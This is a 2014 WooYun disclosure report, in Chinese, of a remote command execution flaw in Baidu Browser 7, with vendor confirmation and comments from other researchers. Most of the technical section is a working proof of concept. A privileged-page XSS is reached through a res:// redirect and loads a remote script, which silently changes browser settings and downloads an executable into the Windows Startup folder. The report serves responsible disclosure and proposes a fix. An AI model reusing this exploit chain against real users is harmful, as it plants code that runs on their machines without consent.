当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083294

漏洞标题:百度浏览器远程命令执行五

相关厂商:百度

漏洞作者: gainover

提交时间:2014-11-14 17:54

修复时间:2015-02-12 17:56

公开时间:2015-02-12 17:56

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-14: 细节已通知厂商并且等待厂商处理中
2014-11-17: 厂商已经确认,细节仅向厂商公开
2014-11-20: 细节向第三方安全合作伙伴开放
2015-01-11: 细节向核心白帽子及相关领域专家公开
2015-01-21: 细节向普通白帽子公开
2015-01-31: 细节向实习白帽子公开
2015-02-12: 细节向公众公开

简要描述:

一直以为百度浏览器没更新哇,看新闻才知道,百度浏览器已经发布第7版本(7.0.400.292),于是又下载下来研究了一番,相对于第6版本,在一些API上确实有了不小的安全改进,但是也有一些7版本上的改进,反而导致可以远程命令执行。

详细说明:

1. 首先,我们用百度浏览器随便打开一个本地的页面,比如file:///C:/xxxxxx,你会发现出现以下报错,F12控制台内 location.href查看,可以看到URL改变为:data:text/html,biduwebdata

1.jpg


不要奇怪我为什么会这么测试,因为在6版本的百度浏览器中 data:text/html,biduwebdata 域下存在XSS,所以我其实是想看看 data:text/html,biduwebdata 在7版本中是否也存在,你可以看到我们所输入的URL在页面中被输出,那么会不会这里没有转义呢?

2.jpg


于是在bdbrowser域下用以下代码进行测试,(因为http域无法重定向至 file域,所以在bdbrowser域下测试):

location.href='file:///C:/xxxxxx#"><img/src="1"/onerror="alert(1)">'


可以看到弹窗了。

3.jpg


2. 第2个问题来了, data:text/html,biduwebdata 这个是data协议的,这个协议下有特权吗? 答案是:6版本的百度浏览器是没有的,但这个最新版本的,data:text/html,biduwebdata 这个URL下是有特权的,但其它data:xxx是没有的。
3. 这样一来,我们的第一步,特权域XSS就已经有了。但是,我们如何从http域重定向至file域呢?
A. 我们重定向至一个不存在的协议?

5.jpg


似乎并不能实现和file域一样的效果。
B. about协议则直接打开了空白页
C. 还有一个比较常见的res://协议,我们试试~~

location.href='res:///C:/xxxxxx#"><img/src="1"/onerror="alert(1)">'


6.jpg


如上图所示,我们可以看到res协议实现了和file协议一样的效果,且 http协议可以跳转至res协议
4. 因此,XSS我们有了, 如何实现命令执行呢? 我对之前测试过的API进行了一些测试,例如皮肤下载,插件下载,均已作出了一定的安全限制。然而,有一个功能比较显眼:

4.jpg


上图涉及到2个部分:
一是静默下载,即不需要用户交互,便可将指定程序下载到下载目录。
二是下载目录设置。
如果我们设置为静默下载,并将下载目录指向用户的启动目录,然后让用户下载一个exe,那么该exe将会被下载到用户的启动目录中。
5. 有了特权域的XSS,以上想法,我们并不难实现,这里直接给出代码,代码中含有注释。
A. 重定向至res://....,触发XSS,调用baidupoc5.js

<html>
<head>百度浏览器命令执行5</head>
<body>
<script>
window.name='var s=document.createElement("script");s.src="http://127.0.0.1/test/baidupoc5.js";document.body.appendChild(s);';
location.href='res://c/Users/gainover/Desktop/xxxxx#"><img src=1 onerror=eval(window.name)>'
</script>
</body>
</html>


B. baidupoc5.js代码如下:

var isWin7=/NT\s+6/.test(navigator.userAgent);
/*获取用户名*/
function getUserNameCallback(id,res){
console.log(arguments);
if(!res){
console.log("download skin error");
return ;
}
var data=JSON.parse(res);
var path=data.body.path;
var d=path.substring(0,1);
var user=isWin7?(path.match(/\\Users\\([^\\]+)\\/)||["",""])[1]:(path.match(/\\Documents and Settings\\([^\\]+)\\/)||["",""])[1];
console.log(path);
console.log(user);
setDownloadDir(d,user);
}
/*设置下载目录*/
function setDownloadDir(d,user){
var win7=d+"://Users/"+user+"/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/";
var xp=d+"://Documents and Settings/"+user+"/「开始」菜单/程序/启动/";
var dir=isWin7?win7:xp;
window.external.StartRequest(1058,"set_string_pref","","[\"download_default_directory\",\""+dir+"\"]");
console.log("download directory");
setTimeout(function(){setDownloadSilent()},100);
}
/*静默下载*/
function setDownloadSilent(){
window.external.StartRequest(1059,"set_boolean_pref","","[\"download_auto_save\",true]");
console.log("download settings");
setTimeout(function(){startDownload()},100);
}
/*开始下载*/
function startDownload(){
console.log("download exe");
location.href="http://192.168.1.13/calc.exe";
}
/*入口*/
function main(){
window.external.StartRequest(1057,"theme_apply","getUserNameCallback","[{\"md5\":\"0a696bf6144f37186eb2ba4b637c97da\",\"id\":\"0a696bf6144f37186eb2ba4b637c97da\",\"src\":\"http://webimg.br.baidu.com/odin/201410/0a696bf6144f37186eb2ba4b637c97da.jpg\",\"thumb\":\"http://webimg.br.baidu.com/odin/201410/a57d9c085d1cca1c16a1265f0bea040e.jpg\",\"subject\":\"大桥夜景\",\"tone\":0,\"tag\":\"风景\",\"desc\":\"\",\"from\":0,\"themeId\":\"41\",\"name\":\"大桥夜景\",\"category\":\"精选\",\"position\":4}]");
}
main();

漏洞证明:

以上代码在Win7下进行测试,截图如下:

7.jpg


xp下也测试通过。

修复方案:

修复 data:text/html,biduwebdata 下的XSS,
浏览器在设置用户下载目录时,需要启用一定的用户交互,以避免随意一个特权域XSS即可更改此设置。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-11-17 12:35

厂商回复:

感谢提交,已通知业务部门处理

最新状态:

暂无


漏洞评价:

评论

  1. 2014-11-14 17:55 | 大孩小孩 ( 路人 | Rank:7 漏洞数:7 | 哈哈哈哈)

    mark

  2. 2014-11-14 17:55 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    前排!~~

  3. 2014-11-14 17:56 | 孤独雪狼 ( 普通白帽子 | Rank:710 漏洞数:145 | 七夕手机被偷,这坑爹的七夕啊 。。。。)

    前排!~~

  4. 2014-11-14 17:58 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    第五发了。。

  5. 2014-11-14 18:04 | VinGogh ( 路人 | Rank:28 漏洞数:7 | G.X.)

    吊炸天

  6. 2014-11-14 18:04 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    坐等百度浏览器更新第八版。。。

  7. 2014-11-14 18:23 | 天朝城管 ( 普通白帽子 | Rank:116 漏洞数:35 | 不要等到命玩你的时候才开始玩命)

    penta kill

  8. 2014-11-14 18:32 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    还有第几发?

  9. 2014-11-14 18:44 | Demon ( 普通白帽子 | Rank:121 漏洞数:14 | You are my dream)

    god like

  10. 2014-11-14 18:52 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    能连载到10么

  11. 2014-11-14 19:15 | 机器猫 ( 普通白帽子 | Rank:1141 漏洞数:253 | 爱生活、爱腾讯、爱网络!)

    ccav看这里

  12. 2014-11-14 19:25 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    不忍直视了。。。

  13. 2014-11-14 19:34 | answer ( 普通白帽子 | Rank:347 漏洞数:45 | 答案)

    66666

  14. 2014-11-14 19:51 | MeirLin ( 实习白帽子 | Rank:96 漏洞数:30 | 号借人)

    又可以做教程了

  15. 2014-11-14 20:12 | 香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)

    二哥一直在等百度更新,然后绕过

  16. 2014-11-14 20:14 | anon ( 路人 | Rank:10 漏洞数:6 | AnOnYMoUs我是一只小马甲)

    百度浏览器宣布停止更新.

  17. 2014-11-14 20:26 | Guardian ( 实习白帽子 | Rank:96 漏洞数:20 | I'm from the Internet and be here to hel...)

    围观~

  18. 2014-11-14 20:38 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    百度浏览器宣布停止维护,我们放弃该产品!@gainover

  19. 2014-11-14 21:53 | Stardustsky ( 路人 | Rank:4 漏洞数:3 | ……)

    那些年我们一起X过的百度浏览器

  20. 2014-11-15 10:09 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 严肃点~此号为虚拟小号,并不存在实体...)

    厂商回应:已通知工程师赶紧更新,必须给二哥制造二十连载的机会,另外在此洞所有评论者中随机抽取一位白帽,送出两包辣条,不要问我为什么,有钱、任性。@百度

  21. 2014-11-28 18:56 | 辣条 ( 实习白帽子 | Rank:58 漏洞数:26 | 辣条5毛钱一袋,要不要?)

    @心伤的瘦子 送我吗?@辣条

  22. 2014-11-29 08:17 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 严肃点~此号为虚拟小号,并不存在实体...)

    @辣条 ,,,还没到把你送出去的时间,你怎么自己出来了

  23. 2015-01-23 23:54 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:254 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    厉害

  24. 2015-02-12 20:29 | 茜茜公主 ( 普通白帽子 | Rank:2360 漏洞数:406 | 家里二宝出生,这几个月忙着把屎把尿...忒...)

    确实很厉害